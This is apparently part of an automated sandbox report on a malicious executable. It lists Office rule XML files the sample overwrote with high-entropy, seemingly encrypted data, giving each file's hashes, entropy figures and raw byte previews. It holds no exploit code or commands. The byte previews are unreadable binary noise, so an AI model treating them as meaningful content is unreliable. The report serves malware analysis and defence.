Preview:	<?xml_R..F.........X.=...2...6,.0[.....6A.XjQ.\|@Q...T...u.S.~^..CAs7r....Z...t.k"]..uAnxgs7[LI./kU&...'d..'....V...@.,0B.X.z....(...K..........B..._dW.y...XC4b..V..Ru...d\|C+..,.o..m@W......1.?O....S..vX..z.b-...5.Fr.<...q...{.b...2...m..i......?O.....=C^3+.0%.m$.b.z....w&..8=Q....=.&b..v.4...B...V9..j...<.>..c..u..M...@....-&...i.d../.M.x.1. .l..Pu..,.CG..7hu'...8..SR........".\|cJlS...^:../$....Q......cdGu.8...#.......W..U.x....X.a..e..PYy..ed...?. Q..6.A.h.yb:.e.G:...52....0...a..h~c..a....%A..p/..:{.i..5.F.FE...J..bf....B.~..^.'G$.'z.Dc_[.&.]%.pK...4x2..%C..B..\|>VF9..;*..`e...?._.].>E...oN.U.............p.[.FE...^1.Wo.v....vB6..i..B.4.G..K..OC.........B/@.W....d,m.W...S4..V.....+X..?....d.)....o..F/.q...s`.%....p%....#.f.j.6..l.6D..+Z.~%...3m.b......V.K...S...B4.L.h....x..,.T..Kn.Y..\...@.hkY[...ok..]ERt....a..H...!.1..%/..Y<.&2..e0!.&..1......m&..&.7.O./...#...O...0..-Z..[.+..I.....j..5N..-.C&...v...1.s.w...;..rR...k.Bq.E.y."e....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320034v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	923
Entropy (8bit):	7.754851788492145
Encrypted:	false
SSDEEP:	24:QF3O/B6xOcEIap7vY5sWWdCIzApUIodB9fvX0ObD:QFAB6VEIap7wFJIyWdbHD
MD5:	F96D1A5E2DA0E53DDDA401DA7ACEE398
SHA1:	11BD45A311AD172BC65E5C631E4428497F434F07
SHA-256:	9CA9BAF49B583A9C0CBFAFFA9E0BDBC96E0F0AAA86D41510309B2AB96D839DDE
SHA-512:	CA58E2BBF9FF8D95E8F40391153B68C653968455E5863CA27CE99EF9E98087B72C490685C355BCDBBF1CF584E7CF738B36CCB0FE2021595F453626BB5FA2898B
Malicious:	false
Preview:	<?xml..!......K!..(9...z..</u.E.o....d.o.m..M .h..Cr/.](x..[.~d.+..k.;.7...".1..[.I.<.m.of.~A_=..i.,\|.].<!!..k.Zc.......I..z.i.$M.~.i.......k~..7B>.C.`.\2.k._N.fJ..I.>..(.Kv..q....29.G.=..1\|..T.r.5.?G...d..z..a6T..H.!i.....iZ.Hk..,.=.O..._..`.]B...o..u.?...Z.u.<..7.%.#.WUI.F..UE77q..}..T.....8!.....V...l..T.Z.M..b.~.........\|.X..C\|..x[D.U....B..}E....O...X<.G....5HEN.......V.C.>.f......^..N...v.1..l\|.B....DQ........pl.i..pm-t...+..=.gV.9z...0..G.B..........p..e.ok....C.~......#.[...y..l...@.y..r.G.3k...t..FqIH<m.e_\.C....h].c..:$.%5..V'`[..b=;......r.......I......b....S...lWL.........\v'..-.R.t'%Y.v......[.......s.j.....V.l...x.. .{.......d...,.w...N=F..p..p......P.....FvT$......q!..cE..}.....[~..J.c:..2*...u..........W...Az.S..T.%)yu5..R..5 .......j:SBB....(u.N.....zs.e.(f......idai.2 ....q....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320035v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1413
Entropy (8bit):	7.8811666664981415
Encrypted:	false
SSDEEP:	24:+hAxZEr/Ewi0WXbRR/sQXDQx1ObEBKD9Cc1VjMq1oRlFAyP3NoAPpG9W+F4s5ObD:+axmr/EwijXd9sYrDLVjVEnAQ3aARGL8
MD5:	8700E29653C5A79F51973B99236F2CC9
SHA1:	1C268E91C0367C87DBDCA1014197994029E99A0A
SHA-256:	EB2ECA6A1454544EC9B30A00162794BE88396DF6D63C602D07070D1E2270638A
SHA-512:	85434569EC120EA00D7F20F671698E18976B7D00BC4E1F154B445235C36F9E07C71BC7FF178F87AD71AF7C89524352142F3A4DC894C9262157E76F7037F1D245
Malicious:	false
Preview:	<?xml..M...0.L.w......^..gT..e..J....b.yf.K.D...B.....x.=...V.^.....Q.?S...$V......N0.u.X3.3..F..6.=..fc^M..p..q.O.A)........K..6Y(....D.Z..2YW.......{...`}3..f._...L.s...b...L......][t..<?....]d.X.....&.......d.=.......mn.9Q...A.....n2..pF...1fGO....gp.&..VF........X.+......N7.+....}o.J....f....s.V.L...G.X...d....neh3"D..9........o\...b)...Y.vpWW.~.".d...Q../W.:.xb....o...41..&..?a.L6...[}.}...E......2\2.\....dL)..T.$y...Z...'....n.^X._/o.)..\|..X.>.8.E.&.--..u...(..4.X...Y.V..y.......}.q\|.`..;. ..S..h.QW.......x...\|.?...j...>.....R..k.6....C..I...[Y..c?-.y.!..;..sxW.b.=...[......^,R.+....%.A...~.,..{B..Ue....Fu...6....r..8}.m.>..pT7'..=.'?...N2.1...#2.u.Y.zE=.j...J.(..+.7..q.5..#.6".I......!...]U.....&.H...<B.q....cw..8...Gb..;....GfV.......{."..<=-Y.:.{...>...o.....Q-jQ..N.....r!.FHw;.f..d.x%...''(.{.......N.C.....D.....f......uE..h...M..t...I.I.e.(..y>..r8W...v)A<.h.1.32...r.R... ....Ezhp.WEYm..X...>~....M..$CB@...9v.....>..j..N.n

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322001v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1000
Entropy (8bit):	7.799092355321865
Encrypted:	false
SSDEEP:	24:9DL4Yt5FEOobSrA2B6Q0coXrgSFnJx5NosWhDjmSkmMjObD:18Y6vbwA2B6hcocuYBaSkmMYD
MD5:	5BAE946037CB4ABE0267201DE7C519C5
SHA1:	B7F03F4B52BD0A3BE0A9509BAB197DA135293763
SHA-256:	C2101985EBE7770CA7150F1278B19983D5662F2FE2B6FE5F945B8EF3BCC65158
SHA-512:	6A1DB4DE46FE9BD4F96BA8EE888319A6EBB59D4332DAD59D50B0A1CEE6C731E12AB37D55384983C3551AA49447F9EF1BC5BDA0B1572271EDEFB0254535C96A01
Malicious:	false
Preview:	<?xml.n..i.R4..'..U....k.....O.C .....3..OS..M.. @9Y....[wM......zrO.... 6...+....!..SM...?.%.>.k..W/.R9...-..P.x+(+H....s.s.6..j......V..R.....V[..T.cC..=....bm..@..../.....A..k.W..#.RO..K......P'..`....u..,....32.O...]G...+.."U[PH.C.j.N.......s3.Z.. ..\|d.W....._5e.L...&.L.k.q..u..D.u..../L...R..6.......rp?.Z.v.O.e.?L=c..q0...O.eI.ok.../....9..C{7.H.1...4..2._.l.{zm..v3r)..<{.G..4.>#y.u`.O.4=`.fIF.e..R..<.......Sri.S....\3..........L.)K.e^u...w..9...5.5[.i.UI.......$Q...H..,F..I..J.a.p..h...y\LF(g....dQ..c.lE..o........~?O.Fn}.Z..M>.F...O.-.cb.2..)"...+.z.Z.7..G..c).&..a(.7d#..a...tcOjv.-Qt4..M.n.1m.R.E...... ......."....6>:....d..wdH...75.W.O..n.tD.]........z.f...0V.5,....>.....Z...=...F...&.p.%.._.bQ.1....\|t=.G......B.A...x.a....L...cx.7.....Q.E....,...[>....VQ"@.......G.7N......"..;.v..0./........2.}...wU.=.*..8!..X.+.}.t<]...4.^..8..@z..rG.O.d_....o.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322004v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1133
Entropy (8bit):	7.8427745819259425
Encrypted:	false
SSDEEP:	24:YbwT87i+dsUfK121ewW03KTzS32p0U/GTFYU4EytYSPQmSMObD:25++foM2L/GFYU4TJID
MD5:	D6FB8EACF5E43B988A18CB6D177D76B6
SHA1:	07F81F876F31E79B3EDA0CB9FF0FF70D3E1A76A6
SHA-256:	53866A6DC7AF53E89ED237C50A42AC3DE2DAE0B7851FE24BF2520F3305317228
SHA-512:	D0A5D2BF2590606FAE5FB6B9E4FE0FA125751F8B7627E9FDC2DC5F7DE878D078921896298DB43A6B4EE5CFD1E9D037B720F56CC32FBB6E79AE914E18C206F80C
Malicious:	false
Preview:	<?xml%>.`.;..16....B.G.......C.<.#$4..g=F..ix%...<....@..v.[.+..5z.G.....m..L<..!.......^..v....%gI..4....JI..E.U5X......)..?C,............p.E.Q.......'......f._@.]....x....U..JUV@.="...j..F...=...d..%...,.R. O..~..\|<..\\|....\|....q6.V../..[...S....i........V....C.W)'J...aVR.E(.d.....-c......lk..(y.8....k.Q....J.p..s.t.t....K....m......Y?.$V.\|me.HS.By..T>........D b..7....b>Q.<...;;9s_..W....g..H[.._.T..P.5`.9....~C..w.YK.k\|...Mp...M.<..;....m.8..'z.3Q..~U..y.W.......W.4K^.#........`.nc^=..Q.o..G...g..<u.V3G6l....}..oFQ..hf....yZ}.X.`..JW....o....T...x..mYF......\...:....zJ.$h.....HX-.+.6.}.`.bGX....%.P.[..N....:8...\.....=."P.. ...dn.-..........1.L..!3K../q?}.k1.^..Y.~...gK~ca..\N..Q....;.......}.w..D(...i.'a.$V.U.`..z...;...jR.fvM_.........5.bR...W$.......8....y.L..r5Ij1t../...`...Pf...~=1..>.....5".)q..Y`z.^V...ym.....b.M.f.EN..oIW.$.......s..+ ..z...@ G+..Ur..v..&.]..F..d...hb....L.9..`.i........BZ.f....(7.@..U@\|.a4f>..7........n

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322006v5.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.879126034938928
Encrypted:	false
SSDEEP:	48:LLqElNERK6FaXdbpIbeqRvMZrPApgRhFx49Y+DDzD:3nERDOdpqxMZb6gRH+/
MD5:	491BF17F5CE3D7796EE03A97E8D2FB15
SHA1:	02E5B8B9CF5E74F047782A051668B479380BA775
SHA-256:	F2692589503ACB6435F45B9E60D4C9F6CE54EE225C98E8F87BEE5227DFB2C65E
SHA-512:	D7E616F5B3E073C30A2C57BD17573A038E837BEE928CBDF1C639910F9499A730C4EE0FC0F78F831CF8CE59CC984FE43EA564C370125734552042F7CD07116B22
Malicious:	false
Preview:	<?xml6.Kq.....UbJE.}........r..T...IB.N}....6..+....q.X....PJ...^0....Q....#.<.X..8.b..!.]V5S.\|=....%.5.B6b........8P....2.q.&.: \|.n.....;O5#.2.E....aq...&._.`. \|_.5..e.o..r.,([.:jb....#.'...0M.Rg.........)......-.N......L...s..\.....@D.H..2[.e0......yg..2l2.J.(..1.....{U....{.6........RZ ..Le.x..Uk...L...5y..y^8.`2.Z..9yF....7e/.....Be6....W2..).y....S...aDY/.E....L.....:.r.5....}R....._x.....~El...B....{{.c.I.....~g..Mi<..bZ...Q...A...J>..>.~/w..E}.x."C.....a,..h./...2swV..cC.8q.D...P................\|i.sz (wJ@G>......s...RFv..-!.,.....^.AS.....0....Gw.^/.p.h{:.5\|..k.....7..w&6/.....0O/..On.1....2z.O.x.AJ...._.2^PO.u2..C.......`i.2[....A.?.A....j.jd.b.;.S.d..qO....'O......M.....:..-...1...-.S...D.'L...}.K.t..X.~.I<&x..id.........mO:..I.?..J1.w.(~:.(Z?e.j.9..d(....#7.N>K.......3...'.Y.pT....n.{./....7v......R?.(..2...?..;.%B!.YG:.b..#.....+...q.LN.b..K4`.. ...s..i....T...K./.....X\..Y&.#....}Y.....Tc.......4.w.I...4.. .P4..J..Z....9.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324001v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	846
Entropy (8bit):	7.755949651706089
Encrypted:	false
SSDEEP:	12:wzapkvY7WBYBIThvTNZEssnnZcMQEuvVc5DPeXuBf50GiGh6JsMyOnJh4o3M0qC8:wz8+YavBZLWnZXPTf+bG6nhFPT4sObD
MD5:	1B94CA7F21AC1CA2AE84839184D1B43A
SHA1:	67E4F69CE4E647604E1DCFAFD952C39F6F2ED9C6
SHA-256:	BFF3B8837FBD7746D42FBA3279AEE34CBD77B351B08B3DD23A9A0EFBD7D3C378
SHA-512:	DDFA845B4FC29230E116C9BA464A48E133E3B1156D0CEE8BA6ECA257C0EDB1B978A8B6A4B0CADA36843F7E65BC2A3D96A93134B7F3F000DE8C1EA1550D5D8174
Malicious:	false
Preview:	<?xmlX..~.$.k1.X^?AM..{..H....!W..P......(.d.1.....j.<[....2.zTB.YR.{f.]!....,a...zT.!....D/...u.......R-G.m(. t..-+........[R+..m8........"....w..qu7....T..I]Z.6!.fZH....em.;.R....5..y...L.qM..o.<.....C..3q.RzliUi..J.y...f,.q..)..7.....-x...D..%1.....V.....z.4h.UJ......W.z..N....va...j:..I.G.ZE-..D....p.f....,Q.&`.[.<nc~.,P.3uS...1.^...S^....K./........2........1.^....=q...I..-..G...67.^.e..n.=H..l\|....+..D.......:.).M.1......Y.K.../$...n.I.W...u.\|&\W..b1Z.M..@...W>O...k."....).u.(.6.Pk%6...... ....7...N."..=...........p.....5...rx......JZ.8rq... K..Z[.!d......E."..S..*...9.b."_..wN.iJ0o.k..'....O... ...ck....V..[:..G..O.'...R.+?..i..R.L...o......W:%z5..o..}Cn.P.c..3.'I..2G@..W.........g.h.h..J...j.24"..-...{.,.=.a:..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.829145624219859
Encrypted:	false
SSDEEP:	24:E4UyLtal+koskh5g09+fndAlVvrlkzZKyG3F+/I0wColZObD:E4UyLgl0skhuEQdA3JkJoMD
MD5:	8B5E77D626AC5A5AC05FC8B11B145C7F
SHA1:	1A437CEED60D670D773BCFB7DF0C59092D854FEA
SHA-256:	AD07BFD93CED1A842F659B8DD3AA4604B09183E081E0E96BDF410B16F6F2E3BF
SHA-512:	C3B156A708E0C95FDFF66ADEBADAC7715E3AED6978D16535570F2FB325E62C36B80D2F94B25AE3D03708FB8BFCF12CC9DCD34571169BF017D20C3D6FA0C58025
Malicious:	false
Preview:	<?xmljR...u..N.9V.......O.....h.H.[\|........N+......g..b%X......n..A.8pr....p./.Ck...e..W#..h.o.../.S.\|Q/1..=,S...x.H0-R.!........D.A..X..z.?2.R.e..dW.D..<cb.""t.6D.&.45:..P.M./. Y...m.`6.[c.A...B-....s....M..f............mBn'...Q@W .`.......!_.e..E.=.2q4"e..s....)...(U.dZ..?c............p...7.8..o.......%...........4lv!=18.j...d.d.V.7..P...p.&.0c3...c}Pn.U\...\..6y.B. ..........R.:.v......>..aD.>.\|...,....f.!......x..f..Js.#5f.\.Em.......P..h.=. q.~..:.m,..3.D. S...=...!..q.1.#.X...).%..#.+2nw~.&.@X...E...Gr.....k(=D......q..3..a.K....za.P......i..8i.y........0A..r>.....O...^..4.........-#~.6..........d......".6...........1.VL..6..?..ZZa,X.!.J...tDe3.v1x..>.L;..W..p...f.}.I]...L'.o.{E.+...z.C...J..W0.X.N.@....G.{...[D.V...\,..E%..../P.....n...Bi.(L.......r.i...^...H.o).}.8...r..A..?"..@/.E....h9.N0.X...@K.fv$.!..x.{79 .t?h.W.d..,.~.....r3.\|.......#.......w..D~V.....g..\..ok$.&@..j.Q.c.#..DM..c.<...j..X...LV.AQ.+..MsX...,Q4.a_q.&.g.IF..B.....vKn<.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.841341282872103
Encrypted:	false
SSDEEP:	24:nA7iZKm2uHcJ4HTNTYjXaBMwGrFd9lMZjQzdmTFQj2Vdpn6D3zUyveLObD:A2ZKu8J4iba2prF5MZjdQj2Vdx6DOgD
MD5:	077DCC6D8A8490DCF46A4DD3882E10F6
SHA1:	5004E489485462D64176F272D00B006EFA70C290
SHA-256:	298DFBF2108106B6344EDB5D413F03F42D86B97486ADE4C55B6428EAEA4E21F1
SHA-512:	BE8572BB66034E084F2D2D3DD1B6F74F902D4D931EB6D6A79ECC2861963AEA315EA1DEFE35086AD2945E8F32FED32F9879DDD9D1BE3718B4B309021E3B621537
Malicious:	false
Preview:	<?xml.t.....J.a...z`7.l...D...v....&S.!....6H.g..3..........Wv...ZN..}..T._...fe...#[l.4...h/.!,x3."..&9....k.a.&..E.j...l...P.\|-.".d..!.c.. fU....hF....5.~29fFEU#e...JzE.?.I..S..a6...B.....9R..I2..K.g.....E~....1.`.C...CR\$..2....>j.~Y.B.]...w.T"A......zO.<...)(..4.><.u.P.KY.A;.]... .:.&...R.S..3..Y.k.......o..K.@...Q.fu0...=mI......Fb.\.....$+G..&....<=.[.a.5Y8]>..........J.(..%\|....&..<....p;9.E+.......).].b.....b.J...$4cY...D.<o.-...gO...C.($K..?V(O.d..>.b.I.hr./...8B{..f.%.0.AN..e...........N"d.[K.b...Lj.e..{:F..q....?.1.3..kb...?.@P.~.erV..h.9=..m...3..wD"N..1.W...*...Ac..XjF0S]=+\....Fz.U6.....h.$.TT..39.(.J..Z./../?d..3...T.\|..[..$.{.Q+Y....?yu....gjV1.....7):..E.!9..........+.k..=K>#....Zt....p..u@&{.<...dy'.6:.......9....<...?.q.#&...~....OYc..wH....R.,.\....pa.0.ms!U&........o1..'$VL.^..^..........',u....7.CG..C.....\|.d.9...wK.I...z.q.0..tL..[.....W;3.......D....w...M.IR....{..1.i<.H.....j.o.j..L.5...JY...bI.....i..WO...3..iE.&b-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.832447692055372
Encrypted:	false
SSDEEP:	24:sPYNln+z+BrRV4wEpq0zxRB12Kz00AcywXntsHauzuObD:swra8izF12Kz00ryunt+ddD
MD5:	1558259AB6A3A317F3EDDE35804801FC
SHA1:	388C2AE2ABA96CD3FA1A28D740218054D4B5C0EE
SHA-256:	9C34BDC18571A4366066CC0F09A402780FCA8208F8C18235369CA7FD4483FEBF
SHA-512:	2EEB39A67769618FC5E2CA68ADD27C93BBE9536723B7E397E352371BEA47F17E1E027E1220ADEF384832134ABA10FB4B99406B0093CDB7B397B6513D6DD8B668
Malicious:	false
Preview:	<?xml...WQ.67w..}..xD.a..K....J.H.....K.k.1........p..../...U..r.../..-e).g...>......(T.H.X...f.._.f..tY.......W4{4.......vI...GT......;K.....wS.pi..XA...1.3.y...a....3./e....T.t..C...O...{s..z..V....C.n....M.~.!.H...Lp.\R..FU.<......L.RW.....H..?.J..#.......U......O.Y_H..=P....N^]9..L...l....a=.z.w[..{.}.U....?.1r .9.w..~.\.j...U9uC.......l...{.)G...v...4..,.X..b.... 9........T.4.Y......pX..,k.l..L.....kzs.d.V..,j.-.Q&....X........l.j.v.....>.89.E.RN.O.&.U^c.....z....f.UV1lU.L.(.W.QC...._..U//...4......>h.>%.Ab.P....F.Y....j\K.p.~Gf@.7...2...4..3@...7.-K...u..2..........N...<.\..G."..7.b....$..+L....&M..w^.x.,.#...P....Q...D...R.l.G+.D.+..^....D.7$a..l.....\|m..Q.....:M3.S>..~Ow3g.......y..b...Pc....3o8a]y....ZH.....TE....81.W....\.V......^.B..8..c.......y.o.a..E..O.g.0~...?..a...0.X^...t.S......+,.\..P.^.f).<...g..n".....l......@C...._.?,..I.....qw>.r......q@gL+.$v....1.......D.6.e;....m..f.$._..$.c....)2.E......m=.....[..)....DB.:.PxoE.)

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.812491653021023
Encrypted:	false
SSDEEP:	24:otB3UR759Q/MfXThNsZQsS6yJ+aqOJm/VBCE739cKxHt2OEJAeCmVGsoObD:dR759r1Ns+Z+aqOJ9c9cusjadm1D
MD5:	EEA2D548D311A90ECB883583D5EB3621
SHA1:	283ED45A44A3BA391ACB7E26D6CF39B86DEC7D01
SHA-256:	C350D900CE0224AAC1E408B807984B6613EBF59DF7282E628D7C70663828D7CC
SHA-512:	799508777B9E2600603A4677B297B709B2AB45AB4057A944BE041A0F90AA36BCE26296B2AE33CFDB8CDA6472C7176ABC4EE936E20E47C7BA0768BEA3C5ADAB67
Malicious:	false
Preview:	<?xml.6'...o..`p.....K#.......\|..b=]..K.c.....ey...$&.t.#..X\.Oc..7...F.F...r.\.!.9.;\..F.../.....+:]6..,t.@.g..q..<8U..)Pe,.#..\|o#..m...l.......1j.x$./)..HY..d....X..!.......AA..&.rG.Z..5._9m.#%B.n....z..q.8..b..j..fJ`..V..SF....m.}.T..K.!........K..F.!....S.4!.lZ...')....)E...-...ZK%...n..!...2...@.T...b.O...U.....3..Qx..Q..V..(.$..d#.+.2.}."...)+...!D..O4x.x.V.8......].........@..]....k#...I.P...W .~.x....7../......x+a...D(.V....p.........K....}r..G7.?.[O.]......Q.P...%..K..Db..J....zC.ux.....3.J.q...uP<.iP}n.iWx..[.o..!....+..y.@9...E..#.A.".f.... .F..^.i2.(oS&...`(.e...k...l..P.#..CsS.;!.f.0..V..\....9..[Lv....6.dF0....)..o........8WRQ.....G......8..;/..(.g..w.[=.%..ou...G`IqZ......c...?.8T.b....ZK).)IY....I..M......2].Rq<...7B...h.....n. '......@...o',..V..lN>.5.......z.1^.yP.w.e.<......I;is,......T.0.. ....[>dLZ....J.....,.8..n..z$O.eG.I[..-...i[8.....x2...3u....1..).3L3.rp.afm.IlfEQ.:.5......dY..)...e...m7..3..i..3.D.M.....L:..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.793505936273917
Encrypted:	false
SSDEEP:	24:YZhxlUcApohuodixYUEmvLUNSJEF5BrSJuWq7vtOR+Dk2cObD:Ghoxp0TdwvLUNS0/7tOR+IID
MD5:	F1C1D632639343FC0C0A7EF0D6AE60D1
SHA1:	6A370A424B9CBED38AAD82C6A7CFFFFE90B03B4B
SHA-256:	3F5DAFBF207B0A0C36BCB053A24B5180C8D2259CE56BF38FB0C918CFE78CC0FC
SHA-512:	83A86CACA70C26BDE57068E2A79C22EA7007065DE57664A9FF4E724B335050BF649474CEC3538722721485C506D0B64697C3F278C806BBE494912104F4E909B1
Malicious:	false
Preview:	<?xmll.%'A.i....K........V.s.....#G.[...^.....?q..6#S........Y...(LY/.....\|............@..V..U'....\qY..v.5.#.!l.....\|,..r...wk.q%.2...........?.......M..D...t...rLhK2.$.$..wb..h.9..)\..iWgK.6.e..... .v...^.t....m......:..+....;5Q...2:Ik...0.;...W..x;gt...K.B.v.)....A.o^..HXU.=..e.qA.8.\|.h...W.&.-B..#.86.:H...m...)$h...I....>/W....@OF!.R.2.:.k.n..D.M.U.1......0..,7eP..H.7...R.@..>..a.)X4}...T.b..G2..n.,.x.......Ls.T..].Q%..<V.k......~.....&..S.vIQ[g..MB..A..#...?.D...5.9....?1...u.=.'.7..ES.}.J.g.............q-zk......-c.X<8.A.9...(M....cF....$.{...ip.......c......~.=..A...2....B.B.wXX.0.Vp...f.H..%.q....Y..6..l.,.Y..U.=.H......C..H#&.Pv.......q.PfV@."P?.Q..nlV.?B&.Dp..0.t\|Sd.#i.........N.....i\|W....#R;Qr..o...&C..2....G5^......B.~...e...................].`.7'.R...La.......w.O$..Q.m..Y..YV.....t.....D...{.`a...3C....6r.''%7o..6...@..T.Pi_..R,...s[N.?....K.....Q....>.fF.~.P..`...:........6...7.w.>....4..O..tv.gw..G.5......w]cX..p..5.].....K

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.8133203583950195
Encrypted:	false
SSDEEP:	24:zeIneezhgQ+Gli4x1vQu44EhUBOujOPdUmlBX+8otznWnPgy6mNCObD:zeInsGMCv2ujIDlJotzWnP28lD
MD5:	83B11F277BD9B4B4D7B99D8B70D57303
SHA1:	B0985EF42CF6C3C22DCF90EA4549146A39464F09
SHA-256:	409D52B362E802132BECAA62BAC1431A04FB4AE04F7BC3F3DCBE8CACFED1F94A
SHA-512:	3CA4B39032E18B64B30B3FEE75177FD8CB9066FD1EE4FFD8BB5A6908C659816306E7D8B479399D90B75CA90E0336068659E02DA60660AB6B13BD7628AB4FD8A2
Malicious:	false
Preview:	<?xml..8....+,..j..(.{.....g._...A1X.c.\|.....\.^`...].{p.CK)h.....5..S]U.54.M..\..cV....h....\E...c......s6.].1J.........\..k.%X..z.pb.9..I....e.$.g.fE>6......-..0.T........2...x.>.....fw.W..Z...b.....L'..@....^...x...~...O.R.....\.l.x/W...,`.na..g.1....3.......v..kUS.{.$s.............OD.w....B...j._4....$>.....@\|.K.....I..W.....3.2...f.w..>.!..U......#.=.i.r.r..b:`....:Gwm.WRj..l..0;..2c...p.80.7.L.._^..#..CX.b..:{.a.3..<4...(..l......}5.?.eK$.\|.o. ....~.......M.$...gr.}.].u.z\.A-..........~.........C.......b.&.b./u?x.17...jNBGPj.J8..vx.p..=b....8.s.q..G....\..j.....UU[..EF..Hg{yhb..P.p.nW.>..@.*..H...c.@)j..f.>kH1!.2`.H..xT.....;k...n.f..Q;......]G...3u....+`...,5T.j.:...h]TRT[.~L.....^YG..7..t...V.K..a4..GLQ:..}2....ZV-Z.P..v.y3!.........:............J...n4.=T..3.Tb...n..LG.`o....^>.\Z........K.K...y...Sd.....Mu;...Xd/.(..of..F...s..i.Q....hB...M$...;....6...6.05.t.c.5..~.S.o...f.^.4.p..6.%......D.Hf...3...8....y...,......)...r2...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324004v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.824891771473998
Encrypted:	false
SSDEEP:	24:M5ezMXbHjtY08cMpBWkjAKkersP5NnOKI1NxSObD:M59Hjy90kjBAvBsjD
MD5:	271FEB1269F57625F290D122FDD80B80
SHA1:	9C9D3470BA05C234D297536E5477753EDC7DD2EE
SHA-256:	4A65C53FDC9C3BB80837EAFFA8E996A1135373B01D7FDA8D42315DA85B85A12A
SHA-512:	BB672B6486372F977C7A16DBB98F3222FE2355B48B4F93ABAE7B3BA12DBDC8B5FDE51DE45F36EE21D91F64EF232048493CD26B18B2DA9636ED7DFAD00BBE7669
Malicious:	false
Preview:	<?xmll.,@.Q^!..9..5..G.z...t.\".P[V..sJ....q..b_wz...'>,.z./....N..i.K.d.\...C..j........<D}.N...4B..6G......r5..2v7..N.'..+........V6..1..L..}f...Z.j..`....g..+....C..W....hJ.B)3....!H"..D./.._.P.D...}.._.2.w.~../..eo....{.....i......s(.S.W...........V.<.%.......#.....q.....Q.s..-c\|...........HQ+....mp.!o....'...1...@z\..E{.....WZ....j...X.lG5.8K...zI;.l.`...O[:n..9..Wk.6.....3...,..p..3.nA.K..g...c.7....P.es..mJ.AQ.......-\2.`F...]2..4KB...?{.y..OD.c/\..2.,98...5h..y..'..........L....l{..9...I,G...1(7..C...<<XP.$c.>8d....[!...F.XbZ]((W.B.........S}c...=......u`.....f..D.....%....e.%..'.^...`I..d.1.az.8...m.m.T...............aq..tl....6.........=.F.j. Y.@...u..\(8lt.(yA........E.wc.Nx...3....s]...x.m\|.....^!~.;s...'...5nR....[`CC.qt.J .Y.F....r\..>.......V)6....D..cF..vb>c;..f.b#..6..U........g.9..o.7x%V3L..9.:J.{wE.~M......\|~.....m...v..f3...X.n..Q...j......^..ZL...Y .=\.la..O.Q;...$D3..a?.G)B..>..^.2+../.pO.I.#.4. ...xZ....yZ6iwS

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324005v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	933
Entropy (8bit):	7.771026505045943
Encrypted:	false
SSDEEP:	24:r5AU3C0lTsgT5OYzN0Vft5voxDRBYGiMV6vw4h/fxkObD:ref0Bsgt8VIBYG764KxHD
MD5:	3BF4F207416925B603A11428E53FE080
SHA1:	088979B92D6925DA30A166CFE72389AE9B5F22EA
SHA-256:	D4F954EA743CF7C52422D5E168DFCF21E06CF3E21DA11961E8C897DFE80DBFF0
SHA-512:	323CFBA28E4FE7E791A47140A58C206CE73709A05115B64B4EE2E28CFA7E4A3CA25BB7E66C20B2E773027AFD2422278DB19AA591C1D40B408E1C317A543D5293
Malicious:	false
